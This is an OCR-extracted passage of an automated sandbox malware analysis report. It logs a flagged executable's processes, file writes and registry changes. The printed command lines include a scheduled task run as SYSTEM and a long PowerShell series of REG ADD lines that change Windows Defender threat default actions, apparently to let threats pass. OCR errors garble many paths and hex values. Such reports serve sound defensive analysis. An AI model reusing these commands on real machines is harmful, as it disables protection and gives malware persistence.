et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
unknown
unknown
unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4096

4096

4096

4096

4096

682

4096

4096

289

4096

4096

289

4096

993

4096

4096

492

4096

4096

774

4096

4096
4096
4096
4096
4096
682

4096

289

4096

4096

289

4096

993

4096

4096

Completion

success or wait

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait
end of file
success or wait
end of file
success or wait
end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

Count

1

143

119

Source Address

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526
7FFC0B8DB526
7FFC0B8DB526
7FFC0OB8DB526
7FFC0B8DB526
7FFC0B8DB526
7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path Offset Length
C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS unknown 4096
Readline.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096
.PowerShell. Management\Microsoft.PowerShell. Management.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534
.PowerShell. Management\Microsoft.PowerShell. Management.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096
.PowerShell.Management\Microsoft.PowerShell. Management.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096
.PowerShell.Management\Microsoft.PowerShell. Management.psd1
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534
.PowerShell.Management\Microsoft.PowerShell. Management.psd1
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pae unknown 3148
3498d9#\03aa8bc6b99490176793256632e8342e\Microsoft. PowerShel

|.Commands.Management.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Confe6 unknown 1260
4a9051#\b7f41bbfe8914f994b68b89a23570901\System.Configuratio

n.Install.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 8171
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4096
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4096
ne.config

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096

Analysis Process: conhost.exe PID: 408, Parent PID: 6060

General

Target ID: 18

Start time: 19:15:14

Start date: 24/11/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff745070000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: gpupdate.exe PID: 2108, Parent PID: 6060

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

28

19:15:30

24/11/2022
C:\Windows\System32\gpupdate.exe

false

"C:\Windows\system32\gpupdate.exe" /force
0x7ff6e5af0000

29184 bytes
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Completion

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

success or wait

success or wait

end of file

success or wait

end of file

success or wait

end of file

Count

1

Source Address

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFCOCB512E7

7FFCOCB512E7

7FFCOCA7B9DD

7FFCOCA7B9DD

7FFC0B8DB526

7FFC0B8DB526

7FFC0B8DB526
7FFC0B8DB526

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile
ReadFile
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MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

47C68FE26B0188CDD80F744F7405FF26
false

false

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Access Attributes

Offset Length Value Ascii

Analysis Process: conhost.exe PID: 2356, Parent PID: 2108

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

29

19:15:30

24/11/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff745070000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: gpscript.exe PID: 5816, Parent PID: 368

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

32

19:15:31

24/11/2022
C:\Windows\System32\gpscript.exe

false

gpscript.exe /RefreshSystemParam
0x7ff636b30000

44544 bytes
C48CBDC676E442BAF58920C5B7E556DE
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 2068, Parent PID: 3408

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

33

19:15:31

24/11/2022
C:\Windows\SysWOW64\schtasks.exe
true

schtasks /DELETE /F /TN "gbyyEsIRI"
0xde0000

185856 bytes
15FF7D8324231381BAD48A052F85DF04

Copyright Joe Security LLC 2022

Options

Completion

Completion

Count Source Address

Count

Source Address

Symbol

Symbol
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Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 4092, Parent PID: 2068

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

34

19:15:32

24/11/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff745070000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 1920, Parent PID: 3408

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

35

19:15:33

24/11/2022
C:\Windows\SysWOW64\schtasks.exe

true

Options Completion

Count Source Address

Symbol

schtasks /CREATE /TN "bbsSMGQQDZvgelOgpL" /SC once /ST 19:16:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\VXAfcxyYiTQKM

OERw\efpISHrLkKviaSK\pdyDolJ.exe\" DC /site_id 525403 /S" /V1 /F

0xde0000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Access Attributes

Offset Length Value Ascii

Analysis Process: conhost.exe PID: 2072, Parent PID: 1920

General
Target ID:
Start time:
Start date:
Path:

36
19:15:33
24/11/2022

C:\Windows\System32\conhost.exe
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Options Completion

Completion

Count Source Address

Count

Source Address

Symbol

Symbol
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Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff745070000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: pdyDoll.exe PID: 2384, Parent PID: 1080

General

Target ID: 37

Start time: 19:15:36

Start date: 24/11/2022

Path: C:\Users\user\AppData\Local\Temp\VXAfcxy YITQKMOERw\efplSHrLkKviaSK\pdyDolJ.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERw\efpISHrLkKviaSK\pdyDolJ.exe DC /site_id 525403 /S
Imagebase: 0xa0000

File size: 7104512 bytes

MD5 hash: 893793FBD70BA4A92919D09205D6C9C1

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Antivirus matches: « Detection: 100%, Avira

« Detection: 51%, ReversingLabs

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Windows\system32\GroupPolicy read data or list  device directory file | object name collision 1 100765E7 CreateDirect
directory | synchronous io oryW
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\GroupPolicy\Adm read data or list  device directory file | success or wait 1 100765E7 CreateDirect
directory | synchronous io oryW
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\GroupPolicy\Machine read data or list  device directory file | success or wait 1 100765E7 CreateDirect
directory | synchronous io oryW
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\GroupPolicy\User read data or list  device directory file | success or wait 1 100765E7 CreateDirect
directory | synchronous io oryW
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\GroupPolicy\Machine\Registry.pol  read attributes |  device synchronous io  success or wait 1 100777EA1 CreateFileW
synchronize | non alert | non
generic write directory file
C:\Windows\Temp\aoRCsjFoxFbwPJxK read data or list  device directory file | success or wait 1 100765E7 CreateDirect
directory | synchronous io oryW
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\Temp\aoRCsjFoxFbwPJ read data or list  device directory file | success or wait 1 100765E7 CreateDirect
xK\MeXzroudxpEgwUW directory | synchronous io oryW
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Windows\Temp\aoRCsjFoxFbwPJ
xK\MeXzroudxpEgwUW\RFYnzaH.exe

File Written
File Path

C:\Windows\System32\GroupPolic
y\Machine\Registry.pol

C:\Windows\System32\GroupPolic
y\gpt.ini

Copyright Joe Security LLC 2022

Offset

0

0

Length

4486

268

Access

read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

Value

50 52 65 67 01 00 00 00
5b 00 53 00 4f 00 46 00
54 00 57 00 41 00 52 00
45 00 5¢ 00 50 00 6f 00
6¢ 00 69 00 63 00 69 00
65 00 73 00 5¢ 00 4d 00
69 00 63 00 72 00 6f 00
73 00 6f 00 66 00 74 00
5c¢ 00 57 00 69 00 6e 00
64 00 6f 00 77 00 73 00
20 00 44 00 65 00 66 00
65 00 6e 00 64 00 65 00
72 00 5¢ 00 54 00 68 00
720065 00 61 00 74 00
73 00 00 00 3b 00 54 00
68 00 72 00 65 00 61 00
74 00 73 00 5f 00 54 00
68 00 72 00 65 00 61 00
74 00 49 00 64 00 44 00
65 00 66 00 61 00 75 00
6¢ 00 74 00 41 00 63 00
74 00 69 00 6f 00 6e 00
00 00 3b 00 04 00 00 00
3b 00 04 00 00 00 3b 00
01 00 00 00 5d 00 5b 00
53 00 4f 00 46 00 54 00
57 00 41 00 52 00 45 00
5c¢ 00 50 00 6f 00 6¢ 00

69 00 63 00 69 00 65 00
73 00 5¢ 00 4d 00 69 00
63 00 72 00 6f 00 73 00
6f 00 66 00 74 00 5¢

5b 47 65 6e 65 72 61 6¢
5d 0a 67 50 43 55 73 65
72 4578 74 65 6e 73 69
6f 6e 4e 61 6d 65 73 3d
5b 7b 33 35 33 37 38 45
41 43 2d 36 38 33 46 2d
313144 32 2d 41 38 39
41 2d 30 30 43 30 34 46
4242 4346 41327d 7b
44 30 32 42 3146 37 33
2d 33 34 30 37 2d 34 38
41 452d 42 41 38 38 2d
45 38 32 31 33 43 36 37
36 31 46 31 7d 5d 0a 67
50 43 4d 61 63 68 69 6e
65 45 78 74 65 6e 73 69
6f 6e 4e 61 6d 65 73 3d
5b 7b 33 35 33 37 38 45
41 43 2d 36 38 33 46 2d
313144 32 2d 41 38 39
41 2d 30 30 43 30 34 46
42424346 41327d7b
30 46 36 42 39 35 37 45
2d 35 30 39 45 2d 31 31
44 312d 41374343 2d
30 30 30 30 46 38 37 35
37 314533 7d 7b 44 30
3242 3146 37 32 2d 33
34 30 37 2d 34 38 41 45
2d 42 41 38 38 2d 45 38
32 31 33 43 36 37 36 31
46 31 7d 5d Oa 56 65

Attributes

device

Options Completion Count

sequential only |  success or wait 1 100C4595

non directory file

Ascii Completion Count Source Address

PReg[SOFTWARE\Polici = success or wait 1 10076FCA
es\Microsoft\Windows

Defender\Threats;Th

reats_ThreatldDefaultActi

on;;j]

[SOFTWARE!\Policies\Mi

crosoft\

[General]gPCUserExtens = success or wait 1 10076FCA
ionNames=[{35378EAC-
683F-11D2-A89A-00C
04FBBCFA2}{D02B1F73-
3407-48AE-BA88-
E8213C6761F1}]gPCMac
hineExtensionNames=
[{35378EAC-683F-11D2-
A89A-00C04FBBCFA2}
{OF6B957E-509E-11D1-
A7CC-0000F87571E3}
{D02B1F72-3407-48AE-
BA88-E821
3C6761F1}]Ve

Source Address

Symbol

CopyFileW

Symbol

WriteFile

WriteFile
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File Path

C:\Windows\Temp\aoRCsjFoxFbwPJ 0
xK\MeXzroudxpEgwUW\RFYnzaH.ex

e

File Path

Registry Activities
Key Value Created
Key Path

HKEY_LOCAL_MACHINE\SYSTE PendingFileRen
M\ControlSet001\Control\Session

Manager

Offset Length Value Ascii Completion Count Source Address Symbol

524288 4d 5afd 00 03 00 00 00 100C4595
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 07 75
fd 77 43 14 fd 24 43 14 fd
2443 14 fd 24 4e 46 1a
24 6¢c 14 fd 24 4e 46 24
24 04 14 fd 24 4e 46 25
24 fd 14 fd 24 fd fd Oe 24
48 14 fd 24 43 14 fd 24
50 15 fd 24 fd fd 20 24 57
14 fd 24 4e 46 1e 24 42
14 fd 24 fd fd 1b 24 42 14
fd 24 52 69 63 68 43 14
fd 24 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
05 00 fd fd 68 5e 00 00
00 00 00 00 00 00 fd 00
02

MZ@!L!This program success or wait 14
cannot be run in DOS

mode.$uwC$CSCINF$I$

NF$$ENF%$SSHECSPS

$SWSNF$BS$BSRI

chC$PELh?

CopyFileW

Offset Length Completion Count Source Address Symbol

Name Type Data Completion Count Source Address Symbol

unicode array \??\C:\Users\user\AppData\Loca success or wait 1 100BB8C7 MoveFileExW

\Temp\VXAfcxyYITQKMOERw\efplS
HrLkKviaSK\pdyDolJ.exe

ameOperations

Analysis Process: powershell.exe PID: 3560, Parent PID: 2384

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

Copyright Joe Security LLC 2022

38

19:15:38

24/11/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

powershell "emd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defenden\Threats\ThreatIDDefaultAction\" /f /v \"225451\" t REG_SZ /d 6
/reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD
\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\
SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE
\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsof
t\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows
Defenden\Threats\ThreatlDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Thr
eats\Threat|DDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats
\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\Thr
eatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\Threat!
DDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDef
aultAction\" /f v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f
N \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737
010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t
REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d
6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /
reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\Threat|DDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG
ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"H
KLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\
SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFT
WARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE
\Policies\Microsoft\Windows Defender\Threats\Threat|DDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOF TWARE\Policies\Micr
osoft\Windows Defender\Threats\ThreatlDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"

0x1b0000
430592 bytes
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MDS5 hash:
Has elevated privileges:

Has administrator
privileges:

Programmed in:

DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

File Activities

File Created
File Path Access Attributes Options Completion
C:\Windows\SysWOW64\config\sys read data or list  device directory file | success or wait
temprofile\AppData\Local\Microsoft\Windows\PowerShell  directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\TEMP\ _ PSscr read attributes |  device sequential only | ' success or wait
iptPolicyTest_umumzqgbx.1yl.ps1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Windows\TEMP\ __ PSscr read attributes |  device sequential only |  success or wait
iptPolicyTest_22rgx3dy.2p3.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Windows\SysWOW64\config\systemprofile read data or list  device directory file | object name collision
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\SysWOW64\config\sys read data or list  device directory file | object name collision
temprofile\AppData\Roaming directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\SysWOW64\config\sys read attributes |  device synchronous io  success or wait
temprofile\AppData\Local\Micro synchronize | non alert | non
soft\Windows\PowerShell\StartupProfileData- generic write directory file
Nonlnteractive
File Deleted
File Path Completion
C:\Windows\Temp\ _PSscriptPolicyTest_umumzqgbx.1yl.ps1 success or wait
C:\Windows\Temp\__PSscriptPolicyTest_22rgx3dy.2p3.psm1 success or wait
File Written
File Path Offset Length Value Ascii Completion
C:\Windows\Temp\__PSscr 0 1 31 1 success or wait
iptPolicyTest_umumzqgbx.1yl.ps1
C:\Windows\Temp\ _PSscr 0 1 31 1 success or wait
iptPolicy Test_22rgx3dy.2p3.psm1
C:\Windows\SysWOW64\config\sys 0 64 4000000165000000 @e success or wait
temprofile\AppData\Local\Micro 00 00 00 00 0d 00 00 00
soft\Windows\PowerShell\Startu fd 0a 00 00 Oe 00 00 00
pProfileData-NonlInteractive 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C:\Windows\SysWOW64\config\sys 64 40 48 00 000203000000 H<@"L"My: success or wait

temprofile\AppData\Local\Micro
soft\Windows\PowerShell\Startu
pProfileData-NonlInteractive

C:\Windows\SysWOW64\config\sys 104 32
temprofile\AppData\Local\Micro
soft\Windows\PowerShell\Startu
pProfileData-NonlInteractive

C:\Windows\SysWOW64\config\sys 255 1
temprofile\AppData\Local\Micro
soft\Windows\PowerShell\Startu
pProfileData-NonlInteractive
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00 00 00 00 01 00 00 00
3c 40 fd 5e 7f 4c fd 22 4d
79 fd fd fd 3a 1f 00 00 00
0e 00 20 00

4d 69 63 72 6f 73 6f 66
74 2e 50 6f 77 65 72 53
68 65 6¢c 6C 2e 43 6f 6e
73 6f 6¢ 65 48 6f 73 74

Microsoft.PowerShell.Co  success or wait

nsoleHost

00 success or wait

Count

1

1

1

Count

Count

13

13

9

6B28BEFF

6B281E60

6B281E60

6C43CF06

6C43CF06

6C601926

Source Address

6B286A95
6B286A95

Source Address

6B281B4F

6B281B4F

6C7076FC

6C7076FC

6C7076FC

6C7076FC

Source Address

Symbol

CreateDirect
oryW

CreateFileW

CreateFileW

unknown

unknown

CreateFileW

Symbol
DeleteFileW
DeleteFileW

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii Completion Source Address Symbol
C:\Windows\SysWOW64\config\sys 856 4 00 08 00 03 success or wait 6C7076FC WriteFile
temprofile\AppData\Local\Micro
soft\Windows\PowerShell\Startu
pProfileData-Nonlnteractive
C:\Windows\SysWOW64\config\sys 860 2044 00 Oe fd 00 01 Oe fd 00 T@>@@V@H@X@[@N success or wait 6C7076FC WriteFile
temprofile\AppData\Local\Micro 02 Oe fd 00 03 Oe fd 00 T@HT@S@S@hT@S@
soft\Windows\PowerShell\Startu 040efd00050efd00 S@E@ESE\@CTERTERE@X@?
pProfileData-NonlInteractive 06 Oe fd 00 07 Oe fd 00 X@T@S@S@T@T@xT

08 Oe fd 00 09 Oc fd 00 @zT@

54 014000fd3e 4001 T@=M@DM@:M@"M@

fd 0040 0056 01 4000 M@!M@;M@D@D@@M

4801400058 014000 @<M@$M@BM@?

5b 01 40 00 4e 54 40 01 M@EM@q@BM@q@S

4854 4001fd534001 @D@%@mE

fd 53 40 01 68 54 40 01 ~@n@434@54@73@

fd 53 40 01 fd 53 40 01 fd

53 40 01 5¢ 01 40 00 00

54 40 01 02 54 40 01 40

58 40 01 3f 58 40 01 1c

54 40 01 fd 53 40 01 fd

534001 1e 54 40 01 19

54 40 01 78 54 40 01 7a

54 40 01 fd 54 40 01 3d

4d 40 01 44 4d 40 01 3a

4d 40 01 22 4d 40 01 20

4d 40 01 21 4d 40 01 3b

4d 40 01 fd 44 40 01 fd

44 40 01 40 4d 40 01 3c

4d 40 01 24 4d 40 01 38

4d 40 01 3f 4d 40 01 45

4d 40 01 fd 71 40 01 42

4d 40 01 fd 71 40 01 fd

53 40 01 fd 44 40 01 fd

2540 01 6d 45 40 01 fd

6e 40 01 34 26 40 01 35

26 40 01 37 26 40
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6C415705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6C415705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4095 success or wait 1 6C415705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6C415705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 6C3703DE ReadFile
fe02a317a77aeee36903305e8bab\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6C41CA54 ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6C41CA54 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6C41CA54 ReadFile
